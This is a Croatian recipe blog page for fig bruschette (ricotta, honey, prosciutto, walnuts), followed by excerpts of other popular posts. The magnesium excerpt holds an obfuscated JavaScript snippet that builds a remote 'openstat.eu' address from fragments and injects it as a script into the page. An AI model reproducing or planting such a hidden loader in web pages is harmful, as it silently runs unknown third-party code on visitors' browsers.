BRUSCHETTE SA SMOKVAMA





Bruschette sa smokvama 



Krajem ljeta svježe smokve se pojavljuju na tržnicama i u vrtovima diljem Dalmacije, a njihova slatkoća, sočnost i bogata aroma čine ih savršenim sastojkom za brojne slastice, salate i jednostavna predjela. Jedan od najukusnijih načina da ih iskoristite upravo su bruschette: hrskavi komadi prepečenog kruha na koje se slažu kremasti sirevi, zrele smokve i nekoliko pažljivo odabranih dodataka. Rezultat je kombinacija okusa koja na najbolji način spaja slatko, slano i hrskavo, zbog čega će ove bruschette jednako dobro funkcionirati kao lagani ljetni ručak, predjelo za druženje s prijateljima ili zalogaj uz čašu rashlađenog vina.




Bruschette sa smokvama 


Sastojci:

  • 1 baguette ili manji rustikalni kruh
  • 6 do 8 svježih smokava
  • 200 g ricotte
  • 2 do 3 žlice meda
  • šaka rikole
  • 6 do 8 tankih kriški pršuta (po želji)
  • nekoliko grančica svježeg timijana
  • maslinovo ulje
  • svježe mljeveni crni papar
  • prstohvat krupne soli
  • šaka grubo nasjeckanih oraha ili pistacija
  • nekoliko kapi aceta balsamica ili balzamične kreme



Priprema:

  • Pećnicu zagrijte na 200 °C. Kruh narežite na kriške debljine oko dva centimetra, lagano ih premažite maslinovim uljem i pecite osam do deset minuta, odnosno dok ne postanu zlatno-smeđe i hrskave.
  • Dok se kruh peče, smokve operite i narežite na četvrtine ili tanke ploške, ovisno o njihovoj veličini.
  • Na svaku toplu krišku kruha namažite bogat sloj ricotte. Dodajte nekoliko komadića smokava, malo rikole te, po želji, tanku krišku pršuta.
  • Na kraju sve prelijte medom, dodajte nekoliko kapi balzamične kreme, pospite svježim timijanom, prstohvatom krupne soli, svježe mljevenim paprom i nasjeckanim orasima ili pistacijama koji će dati dodatnu teksturu.
  • Bruschette poslužite odmah, dok je kruh još topao, a ricotta hladna i kremasta.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više